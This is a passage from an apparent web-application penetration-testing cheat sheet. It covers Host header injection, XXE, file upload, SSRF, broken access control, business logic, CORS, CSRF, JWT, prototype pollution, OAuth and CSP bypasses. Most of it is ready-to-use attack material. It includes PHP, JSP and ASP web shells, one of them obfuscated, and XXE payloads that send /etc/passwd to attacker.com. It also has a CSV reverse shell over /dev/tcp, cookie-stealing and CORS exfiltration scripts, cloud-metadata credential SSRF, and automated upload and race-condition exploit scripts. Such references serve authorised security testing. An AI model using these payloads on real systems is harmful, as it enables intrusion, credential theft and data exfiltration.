X-Forwarded-Host: "><script>alert(document.domain)</script>
# If the X-Forwarded-Host is reflected in response
# and the response is cached, XSS affects all users
Host Header Injection for SSRF#
# Internal service access
GET / HTTP/1.1
Host: 192.168.1.100:8080
# Localhost access
GET / HTTP/1.1
Host: localhost
# Alternative localhost representations
GET / HTTP/1.1
Host: 127.0.0.1
Host: 0.0.0.0
Host: 0
Host: [::1] # IPv6 localhost
Host: 127.1 # Short form
Host: 2130706433 # Decimal representation
# Cloud metadata access
GET / HTTP/1.1
Host: 169.254.169.254
# Internal DNS names
GET / HTTP/1.1
Host: internal.company.local
Host: admin.internal
Advanced Techniques#
# Protocol smuggling
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Proto: https
# This might force the application to:
# 1. Generate HTTPS URLs in responses
# 2. Set secure flags on cookies
# 3. Bypass HTTP-only protections
# Absolute URI in request line
GET http://evil.com/ HTTP/1.1
Host: vulnerable.com
# Some servers may prioritize the URI over Host header
# Unicode/IDN attacks
GET / HTTP/1.1
Host: аpp.com # Using Cyrillic 'а' instead of Latin 'a'
# URL parsing discrepancies
GET / HTTP/1.1
Host: vulnerable.com#evil.com
Host: vulnerable.com@evil.com
Host: vulnerable.com:@evil.com
Testing Methodology#
# Automated testing script
#!/bin/bash
target="https://target.com"
evil_host="evil.com"
# Test basic Host header manipulation
curl -H "Host: $evil_host" "$target" -v
# Test alternative headers
headers=(
"X-Forwarded-Host: $evil_host"
"X-Host: $evil_host"
"X-Forwarded-Server: $evil_host"
"X-HTTP-Host-Override: $evil_host"
"Forwarded: host=$evil_host"
)
for header in "${headers[@]}"; do
echo "Testing: $header"
response=$(curl -H "$header" "$target" -s)
if [[ $response == *"$evil_host"* ]]; then
echo "VULNERABLE: $header"
fi
done
# Test for cache poisoning
curl -H "X-Forwarded-Host: \"><script>alert(1)</script>" "$target" -v
# Manual testing checklist:
# 1. Test password reset functionality
# 2. Check for reflected headers in responses
# 3. Test with various header combinations
# 4. Look for cache behavior changes
# 5. Test internal IP access
# 6. Check for protocol upgrades
XML External Entity (XXE) Injection#
Basic Concepts#
Purpose: Exploit XML parsers that process external entities, leading to file disclosure, SSRF, or RCE.
Common endpoints: File uploads, API endpoints accepting XML, SOAP services, RSS feeds, SVG uploads
Basic XXE Techniques#
<!-- File disclosure (Linux) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
<!-- File disclosure (Windows) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">]>
<root>&xxe;</root>
<!-- Network access / SSRF -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal.company.com/admin">]>
<root>&xxe;</root>
<!-- Cloud metadata access -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root>&xxe;</root>
Out-of-Band (OOB) XXE#
<!-- Basic OOB detection -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
<root></root>
<!-- evil.dtd content on attacker server: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/steal?x=%file;'>">
%eval;
%exfiltrate;
<!-- Alternative OOB method -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root></root>
Advanced XXE Techniques#
<!-- XInclude (when DTDs are filtered) -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</root>
<!-- PHP expect wrapper (if enabled) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<root>&xxe;</root>
<!-- PHP filter wrapper -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<root>&xxe;</root>
<!-- Billion laughs attack (DoS) -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<root>&lol9;</root>
XXE in Different Contexts#
<!-- SOAP Web Services -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getUserInfo>
<username>&xxe;</username>
</getUserInfo>
</soap:Body>
</soap:Envelope>
<!-- SVG Files -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<!-- Office Documents (docx, xlsx, etc.) -->
<!-- Extract document, modify XML files, repack -->
<!-- Example: word/document.xml -->
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://attacker.com/">]>
<w:document>&xxe;</w:document>
XXE Detection & Exploitation Tools#
# Manual testing approach
# 1. Identify XML input points
# 2. Test with basic XXE payload
# 3. Check for error messages or data disclosure
# 4. Try OOB techniques if no direct response
# XXEinjector - Automated XXE tool
git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector
# Basic file enumeration
ruby XXEinjector.rb --host=127.0.0.1 --httpport=8000 --file=/tmp/req.txt --path=/etc/passwd --oob=http --phpfilter
# Directory enumeration
ruby XXEinjector.rb --host=127.0.0.1 --httpport=8000 --file=/tmp/req.txt --path=/etc/ --oob=http --enumerate
# SSRF testing
ruby XXEinjector.rb --host=127.0.0.1 --httpport=8000 --file=/tmp/req.txt --url=http://127.0.0.1:8080/admin --oob=http
# Custom payload testing
#!/bin/bash
# XXE detection script
target="http://target.com/upload"
file="test.xml"
# Create basic XXE payload
cat > $file << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]>
<root>&xxe;</root>
EOF
# Test upload
curl -X POST -F "file=@$file" "$target" -v
# Create file disclosure payload
cat > $file << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
EOF
curl -X POST -F "file=@$file" "$target"
# Cleanup
rm $file
XXE Prevention Bypass#
<!-- When external entities are disabled but internal ones work -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- Using parameter entities when regular entities are filtered -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe "file:///etc/passwd">
%xxe;
]>
<!-- Encoding bypass -->
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
<!-- Nested entity definitions -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % dtd "<!ENTITY content '%start;%stuff;%end;'>">
%dtd;
]>
<root>&content;</root>
File Upload Attacks#
Basic Concepts#
Purpose: Upload malicious files to achieve remote code execution, XSS, or other security compromises.
Common upload types: Profile pictures, documents, avatars, file sharing, resume uploads
Basic Webshell Payloads#
<!-- Minimal PHP webshell -->
<?php system($_GET['cmd']); ?>
<!-- Advanced PHP webshell -->
<?php
if(isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
echo "<pre>" . shell_exec($cmd) . "</pre>";
}
?>
<!-- Obfuscated PHP webshell -->
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); ?>
<!-- Base64 decodes to: system($_GET['cmd']); -->
<!-- One-liner PHP webshells -->
<?=`$_GET[0]`?>
<?=system($_GET[0]);?>
<?php echo passthru($_GET['cmd']);?>
<?php echo shell_exec($_GET['cmd']);?>
<!-- JSP webshell -->
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
<!-- ASP webshell -->
<%
Set objShell = CreateObject("WScript.Shell")
Set objExec = objShell.Exec(Request.QueryString("cmd"))
Response.Write(objExec.StdOut.ReadAll())
%>
Extension Bypass Techniques#
# Double extensions
shell.jpg.php
shell.png.php
shell.gif.php
shell.pdf.php
# Case manipulation
shell.PHP
shell.Php
shell.pHp
shell.phP
# Null byte injection
shell.php%00.jpg
shell.php\x00.png
# Alternative extensions
# PHP alternatives
shell.php3
shell.php4
shell.php5
shell.phtml
shell.phps
shell.phar
# ASP alternatives
shell.asp
shell.aspx
shell.cer
shell.asa
# JSP alternatives
shell.jsp
shell.jspx
shell.jsw
shell.jsv
# Special characters
shell.php.
shell.php::$DATA
shell.php%20
shell.php%0a
shell.php/
Content-Type Bypass#
# Bypass MIME type restrictions
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/gif
GIF89a
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
# Alternative Content-Types to try:
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: text/plain
Content-Type: application/octet-stream
Magic Bytes Bypass#
# Add file signatures before webshell code
# GIF header
GIF89a<?php system($_GET['cmd']); ?>
# PNG header
‰PNG
<?php system($_GET['cmd']); ?>
# JPEG header
ÿØÿî<?php system($_GET['cmd']); ?>
# PDF header
%PDF-1.4
<?php system($_GET['cmd']); ?>
# ZIP header (for PHP zip:// wrapper)
PK<?php system($_GET['cmd']); ?>
# Creating files with magic bytes:
# GIF
echo -e "\x47\x49\x46\x38\x39\x61<?php system(\$_GET['cmd']); ?>" > shell.gif
# PNG
echo -e "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system(\$_GET['cmd']); ?>" > shell.png
# JPEG
echo -e "\xFF\xD8\xFF\xE0<?php system(\$_GET['cmd']); ?>" > shell.jpg
Advanced Upload Techniques#
# Polyglot files (valid image + webshell)
# Create using tools like jhead or exiftool
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
jhead -ce "<?php system(\$_GET['cmd']); ?>" image.jpg
# Zip file uploads (if extracted automatically)
# Create zip with directory traversal
zip -r upload.zip ../../webroot/shell.php
# .htaccess upload (if Apache processes uploaded files)
echo "AddType application/x-httpd-php .jpg" > .htaccess
# Then upload shell.jpg
# Alternative .htaccess payloads
AddHandler php5-script .jpg
AddHandler x-httpd-php .jpg
AddType application/x-httpd-php .gif
# Archive-based attacks
# TAR with directory traversal
tar -cf exploit.tar --transform 's|shell.php|../../../var/www/html/shell.php|' shell.php
# Self-extracting payloads
# Create RAR with overwrite
rar a -ep1 -o+ exploit.rar ../../../webroot/shell.php
# CSV injection (if CSV files are processed)
=cmd|'/bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1'!A1
File Upload Fuzzing#
# Automated file upload testing script
#!/bin/bash
target="http://target.com/upload"
webshell='<?php system($_GET["cmd"]); ?>'
# Test different extensions
extensions=(
"php" "php3" "php4" "php5" "phtml" "phps"
"asp" "aspx" "jsp" "jspx"
"cgi" "pl" "py" "rb"
)
# Test magic bytes
magic_bytes=(
"GIF89a"
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A" # PNG
"\xFF\xD8\xFF\xE0" # JPEG
"%PDF-1.4" # PDF
)
for ext in "${extensions[@]}"; do
for magic in "${magic_bytes[@]}"; do
filename="test.$ext"
echo -e "$magic$webshell" > "$filename"
echo "Testing: $filename with magic bytes"
response=$(curl -s -F "file=@$filename" "$target")
if [[ $response == *"uploaded successfully"* ]]; then
echo "SUCCESS: $filename uploaded"
# Test if webshell is accessible
shell_url="$target/$filename?cmd=id"
test_response=$(curl -s "$shell_url")
if [[ $test_response == *"uid="* ]]; then
echo "WEBSHELL ACTIVE: $shell_url"
fi
fi
rm "$filename"
done
done
# Test bypass techniques
bypass_filenames=(
"shell.php%00.jpg"
"shell.php."
"shell.PHP"
"shell.jpg.php"
"shell.phtml"
)
for filename in "${bypass_filenames[@]}"; do
echo "$webshell" > temp_file
echo "Testing bypass: $filename"
curl -s -F "file=@temp_file;filename=$filename" "$target"
done
rm -f temp_file
Race Condition Exploits#
# Race condition upload attack
#!/bin/bash
target="http://target.com/upload"
check_url="http://target.com/uploads/shell.php"
# Create benign file first
echo "Harmless content" > benign.txt
# Create malicious file
echo '<?php system($_GET["cmd"]); ?>' > malicious.php
# Upload benign file
curl -s -F "file=@benign.txt;filename=shell.php" "$target" &
# Immediately try to upload malicious content with same name
sleep 0.1
curl -s -F "file=@malicious.php;filename=shell.php" "$target" &
# Try to access the file during the race window
for i in {1..100}; do
response=$(curl -s "$check_url?cmd=id")
if [[ $response == *"uid="* ]]; then
echo "Race condition successful!"
echo "Webshell accessible at: $check_url"
break
fi
sleep 0.01
done
# Cleanup
rm benign.txt malicious.php
Server-Side Request Forgery (SSRF)#
Basic Concepts#
Purpose: Force the server to make requests to arbitrary domains, often targeting internal networks or cloud metadata.
Common parameters: url, link, src, href, callback, webhook, proxy, redirect, uri
Basic SSRF Payloads#
# Internal network scanning
http://127.0.0.1/
http://localhost/
http://192.168.1.1/
http://10.0.0.1/
http://172.16.0.1/
# Port scanning
http://127.0.0.1:22/ # SSH
http://127.0.0.1:3306/ # MySQL
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:5432/ # PostgreSQL
http://127.0.0.1:27017/ # MongoDB
http://127.0.0.1:9200/ # Elasticsearch
# Cloud metadata endpoints
http://169.254.169.254/latest/meta-data/ # AWS
http://169.254.169.254/latest/user-data/ # AWS user data
http://metadata.google.internal/computeMetadata/v1/ # Google Cloud
http://100.100.100.200/latest/meta-data/ # Alibaba Cloud
Protocol-Based SSRF#
# File protocol
file:///etc/passwd
file:///C:/windows/win.ini
file:///proc/self/environ
# FTP protocol
ftp://127.0.0.1:21/
ftp://internal.company.com/
# LDAP protocol
ldap://127.0.0.1:389/
ldaps://127.0.0.1:636/
# Gopher protocol (very powerful for arbitrary TCP)
gopher://127.0.0.1:80/_GET%20/admin%20HTTP/1.1%0AHost:%20127.0.0.1%0A%0A
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A # Redis command
# Dict protocol
dict://127.0.0.1:11211/stat # Memcached
dict://127.0.0.1:6379/info # Redis info
Bypass Techniques#
# IP representation bypasses
# Decimal representation
http://2130706433/ # 127.0.0.1 in decimal
http://3232235521/ # 192.168.1.1 in decimal
# Hexadecimal representation
http://0x7f000001/ # 127.0.0.1 in hex
http://0x7f.0x0.0x0.0x1/ # Alternative hex format
# Octal representation
http://0177.0000.0000.0001/ # 127.0.0.1 in octal
# Mixed representations
http://127.1/ # Short form of 127.0.0.1
http://127.0.1/ # Another short form
# URL encoding
http://127.0.0.1/%61%64%6d%69%6e # /admin encoded
http://127.0.0.1/%2e%2e/%2e%2e/etc/passwd
# Domain-based bypasses
# Using DNS that resolves to internal IP
http://localtest.me/ # Resolves to 127.0.0.1
http://127.0.0.1.nip.io/ # Wildcard DNS service
http://127.0.0.1.xip.io/ # Another wildcard service
# Subdomain confusion
http://127.0.0.1.evil.com/ # If filtering checks domain suffix
http://evil.com.127.0.0.1.nip.io/
# URL parser confusion
http://127.0.0.1#@evil.com/ # Fragment confusion
http://evil.com@127.0.0.1/ # User info confusion
http://evil.com%23@127.0.0.1/ # Encoded fragment
# Case sensitivity bypasses
http://LOCALHOST/
http://127.0.0.1/ADMIN
Advanced SSRF Techniques#
# Blind SSRF detection
# Time-based detection
http://127.0.0.1:22/ # SSH might cause delay
http://127.0.0.1:3389/ # RDP might cause delay
# DNS-based detection
http://unique-id.attacker.com/
http://ssrf-test.burpcollaborator.net/
# HTTP smuggling via SSRF
# Using CRLF injection in URL
http://127.0.0.1:80/admin%0d%0aHost:%20evil.com%0d%0a%0d%0a
# Exploiting URL parsers
# Different parsers may interpret URLs differently
http://evil.com%2f127.0.0.1/
http://evil.com%5c127.0.0.1/ # Backslash (Windows-style)
# Unicode bypasses
http://①②⑦.⓪.⓪.①/ # Unicode numbers
http://127。0。0。1/ # Unicode dots
# IPv6 bypasses
http://[::1]/ # IPv6 localhost
http://[0000::1]/ # Extended IPv6 localhost
http://[::ffff:7f00:1]/ # IPv4-mapped IPv6
# Redirect-based SSRF
# If application follows redirects
# 1. Set up redirect on your server:
# evil.com/redirect -> 302 -> http://127.0.0.1/admin
# 2. Use http://evil.com/redirect as SSRF payload
Cloud-Specific SSRF#
# AWS EC2 Metadata
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]
http://169.254.169.254/latest/user-data/
# AWS ECS Metadata
http://169.254.170.2/v2/credentials/
http://169.254.170.2/v2/metadata/
# Google Cloud Metadata
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys
# Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Digital Ocean Metadata
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address
SSRF Exploitation Tools#
# SSRFmap - Automated SSRF exploitation
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
# Basic SSRF detection
python ssrfmap.py -r data/request.txt -p url -m readfiles
# Port scanning via SSRF
python ssrfmap.py -r data/request.txt -p url -m portscan --lhost 127.0.0.1 --lport 22,80,443,8080
# Cloud metadata exploitation
python ssrfmap.py -r data/request.txt -p url -m aws
# Ghauri with SSRF detection
ghauri -r request.txt --force-ssl --ssrf
# Custom SSRF testing script
#!/bin/bash
target_param="url"
base_url="http://target.com/fetch"
# Internal IP ranges to test
internal_ips=(
"127.0.0.1"
"192.168.1.1"
"10.0.0.1"
"172.16.0.1"
"169.254.169.254" # Cloud metadata
)
# Common ports to test
ports=(80 443 22 3306 6379 5432 8080 9200)
for ip in "${internal_ips[@]}"; do
for port in "${ports[@]}"; do
payload="http://$ip:$port/"
echo "Testing: $payload"
start_time=$(date +%s)
response=$(curl -s "$base_url?$target_param=$payload" --max-time 10)
end_time=$(date +%s)
duration=$((end_time - start_time))
if [[ $response == *"Connection refused"* ]] || [[ $response == *"timeout"* ]]; then
echo "Port $port on $ip: Filtered/Closed"
elif [[ $duration -gt 5 ]]; then
echo "Port $port on $ip: Possible timeout/open"
else
echo "Port $port on $ip: Response received - $(echo $response | head -c 100)"
fi
done
done
# Test for blind SSRF using DNS
unique_id=$(date +%s)
dns_payload="http://$unique_id.ssrf-test.attacker.com/"
echo "Testing blind SSRF: $dns_payload"
curl -s "$base_url?$target_param=$dns_payload"
echo "Check DNS logs for: $unique_id.ssrf-test.attacker.com"
Broken Access Control#
Basic Concepts#
Purpose: Exploit flaws in authorization mechanisms to access unauthorized resources or perform restricted actions.
Horizontal Privilege Escalation#
# IDOR (Insecure Direct Object References)
# Change user IDs in URLs
/user/profile?id=123 → /user/profile?id=124
/account/1234 → /account/5678
/order/view/999 → /order/view/1000
# Change IDs in request bodies
POST /api/user/update HTTP/1.1
{"user_id": "123", "email": "new@email.com"}
# Try: {"user_id": "124", "email": "new@email.com"}
# Enumerate through ID ranges
for i in {1..1000}; do
curl -s "http://target.com/api/user/$i" -H "Authorization: Bearer $token"
done
Vertical Privilege Escalation#
# Direct admin URL access
/admin
/administrator
/management
/dashboard
/console
/control-panel
# Add admin-related parameters
?admin=true
?isAdmin=1
?role=admin
?privilege=administrator
&admin=true
# Modify cookies
Cookie: admin=false → admin=true
Cookie: role=user → role=admin
Cookie: isAdmin=0 → isAdmin=1
# HTTP headers manipulation
X-Admin: true
X-Role: administrator
X-Privilege: admin
Path-Based Bypasses#
# Case sensitivity
/admin → /Admin → /ADMIN → /AdMiN
# Path traversal
/admin → /./admin → /../admin → /admin/.
# Encoding bypasses
/admin → /%61%64%6d%69%6e (URL encoded)
/admin → /admin%2e (trailing dot encoded)
/admin → /admin%20 (trailing space)
# HTTP method bypasses
# If GET /admin is forbidden, try:
POST /admin
PUT /admin
PATCH /admin
DELETE /admin
HEAD /admin
OPTIONS /admin
# Special characters
/admin; → /admin%00 → /admin%0a → /admin//
Header-Based Bypasses#
# IP spoofing headers
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
# Authorization headers
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Override-URL: /admin
# Custom application headers
X-User-ID: 1
X-Account-ID: admin
X-Role: administrator
Session-Based Attacks#
# Session fixation
# 1. Get session ID from application
# 2. Send victim link with fixed session ID
# 3. When victim logs in, attacker has access
# Cookie manipulation
# Decode and modify JWT tokens
echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..." | base64 -d
# Session prediction
# Look for patterns in session IDs
# MD5 of timestamp: md5(timestamp)
# Sequential: 1000, 1001, 1002...
# Session hijacking via XSS
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
Business Logic Exploits#
Parameter Manipulation#
# Price manipulation
# Original: price=100&quantity=1
# Modified: price=-100&quantity=1 (negative price)
# Modified: price=0.01&quantity=1 (near-zero price)
# Quantity manipulation
# Original: quantity=1&item_id=123
# Modified: quantity=-1&item_id=123 (negative quantity)
# Modified: quantity=999999&item_id=123 (overflow)
# Discount abuse
# Apply multiple discount codes
discount1=SAVE10&discount2=SAVE20&discount3=SAVE30
# Use expired/invalid codes
discount=EXPIRED2019&total=100
# Boolean manipulation
# Original: is_premium=false
# Modified: is_premium=true
# Modified: is_admin=1&user_type=administrator
Race Conditions#
# Concurrent purchase of limited items
#!/bin/bash
item_id="123"
purchase_url="http://target.com/purchase"
# Send multiple concurrent requests
for i in {1..10}; do
curl -X POST "$purchase_url" \
-d "item_id=$item_id&quantity=1" \
-H "Cookie: session=your_session" &
done
wait
# Account balance race condition
# 1. Check balance: $100
# 2. Initiate two $100 withdrawals simultaneously
# 3. Both might succeed if not properly locked
# Coupon/gift card race condition
#!/bin/bash
gift_card_code="GIFT123"
redeem_url="http://target.com/redeem"
# Try to redeem same gift card multiple times
for i in {1..5}; do
curl -X POST "$redeem_url" \
-d "code=$gift_card_code" \
-H "Cookie: session=session$i" &
done
wait
Workflow Bypasses#
# E-commerce flow bypass
# Normal: Add to Cart → Shipping → Payment → Confirmation
# Bypass: Add to Cart → Direct to Confirmation
# Skip payment verification
POST /order/confirm HTTP/1.1
order_id=123&payment_status=completed&total=0
# Multi-step registration bypass
# Normal: Step 1 → Step 2 → Step 3 → Complete
# Bypass: Direct to Complete with minimal data
# Password reset bypass
# Normal: Request Reset → Email Link → New Password
# Bypass: Direct to reset page with guessed token
Logic Flaw Testing#
# Automated business logic testing
#!/bin/bash
base_url="http://target.com"
# Test negative values
negative_tests=(
"price=-100"
"quantity=-1"
"discount=-50"
"age=-5"
"amount=-1000"
)
for test in "${negative_tests[@]}"; do
echo "Testing: $test"
curl -X POST "$base_url/api/update" -d "$test"
done
# Test overflow values
overflow_tests=(
"quantity=999999999"
"price=999999999.99"
"count=2147483648" # Max int + 1
)
# Test boundary values
boundary_tests=(
"age=0"
"age=1"
"age=17"
"age=18"
"age=150"
)
# Test with missing required parameters
required_params="user_id=123&amount=100¤cy=USD"
# Test with: user_id=123¤cy=USD (missing amount)
# Test with: amount=100¤cy=USD (missing user_id)
Advanced Attacks#
Cross-Origin Resource Sharing (CORS)#
# CORS Misconfiguration Testing
# 1. Send request with Origin header
GET /api/sensitive HTTP/1.1
Origin: https://evil.com
# 2. Check response for:
Access-Control-Allow-Origin: https://evil.com # Reflects attacker origin
Access-Control-Allow-Origin: * # Wildcard (dangerous with credentials)
Access-Control-Allow-Credentials: true # Allows credential sharing
# 3. Create proof-of-concept attack page
<!DOCTYPE html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
// Exfiltrate data to attacker server
fetch('https://attacker.com/steal', {
method: 'POST',
body: xhr.responseText
});
}
};
xhr.open('GET', 'https://vulnerable.com/api/user/profile', true);
xhr.withCredentials = true; // Include cookies
xhr.send();
</script>
</body>
</html>
Cross-Site Request Forgery (CSRF)#
# CSRF Detection
# 1. Identify state-changing requests
POST /change-password HTTP/1.1
current_password=old123&new_password=new456
# 2. Check for CSRF protections
# - CSRF tokens in forms/headers
# - SameSite cookie attributes
# - Referer header validation
# 3. Generate CSRF PoC (using Burp Suite)
# Right-click request → Engagement Tools → Generate CSRF PoC
# Manual CSRF PoC creation
<html>
<body>
<form action="https://target.com/change-password" method="POST" id="csrf">
<input type="hidden" name="new_password" value="attacker123">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
# CSRF with JSON payload
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://target.com/api/change-email', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send('{"email":"attacker@evil.com"}');
</script>
JSON Web Token (JWT) Attacks#
# JWT Structure: header.payload.signature
# Algorithm confusion (alg=none)
# 1. Decode JWT at jwt.io
# 2. Change algorithm to "none"
# 3. Remove signature (but keep the trailing dot)
# Header: {"alg":"none","typ":"JWT"}
# Payload: {"sub":"admin","iat":1516239022}
# Result: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNTE2MjM5MDIyfQ.
# Weak secret brute force
# Use hashcat or john the ripper
hashcat -m 16500 jwt.txt rockyou.txt
# JWT cracking with jwt-cracker
npm install -g jwt-cracker
jwt-cracker "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."
# Kid parameter manipulation
# Header with kid pointing to known file
{
"alg": "HS256",
"typ": "JWT",
"kid": "/dev/null" # Known empty file
}
# Sign with empty key
# JWK injection
# Host your own public key and reference it
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/jwks.json"
}
Prototype Pollution#
// Detection payload
{"__proto__": {"polluted": "yes"}}
// After sending, test if pollution worked:
// Check if any object now has the 'polluted' property
// XSS via prototype pollution
{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
// DoS via prototype pollution
{"__proto__": {"toString": "function(){return 'polluted'}"}}
// Node.js RCE (environment variable injection)
{"__proto__": {"env": {"NODE_OPTIONS": "--require /tmp/malicious.js"}}}
// Testing script
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"user": {"name": "test"}, "__proto__": {"polluted": true}}'
# Then test if pollution succeeded:
curl http://target.com/api/test-pollution
OAuth 2.0 Attacks#
# Redirect URI manipulation
# Original: redirect_uri=https://client.com/callback
# Attack: redirect_uri=https://attacker.com/callback
# State parameter bypass (CSRF)
# 1. Attacker initiates OAuth flow
# 2. Victim completes authentication
# 3. Authorization code goes to attacker's account
# Scope escalation
# Original: scope=read:profile
# Attack: scope=read:profile write:profile admin:all
# Client secret exposure
# Check JavaScript files, mobile apps, public repos for:
client_secret=abcd1234567890
# Implicit flow token theft (deprecated but still used)
# Tokens in URL fragments can be stolen via:
# - Referer headers
# - Browser history
# - XSS attacks
WebSocket Security#
// WebSocket connection hijacking
var ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
// Send malicious payloads
ws.send('{"type":"admin","command":"delete_user","user_id":"victim"}');
};
// CSRF via WebSocket
var ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
ws.send('{"action":"transfer","amount":1000,"to":"attacker"}');
};
// WebSocket message manipulation
// Intercept and modify messages using Burp Suite WebSocket support
// Or use custom proxy script
Content Security Policy (CSP) Bypasses#
<!-- JSONP endpoint abuse -->
<script src="https://trusted-site.com/jsonp?callback=alert"></script>
<!-- Open redirect on whitelisted domain -->
<script src="https://trusted-site.com/redirect?url=https://evil.com/xss.js"></script>
<!-- Base tag injection (if base-uri not restricted) -->
<base href="https://evil.com/">
<script src="/xss.js"></script>
<!-- AngularJS expression injection (if ng-app present) -->
{{constructor.constructor('alert(1)')()}}
<!-- Dangling markup (if unsafe-inline blocked) -->
<img src='collect?html=
<!-- This will send following content to attacker -->
GraphQL Attacks#
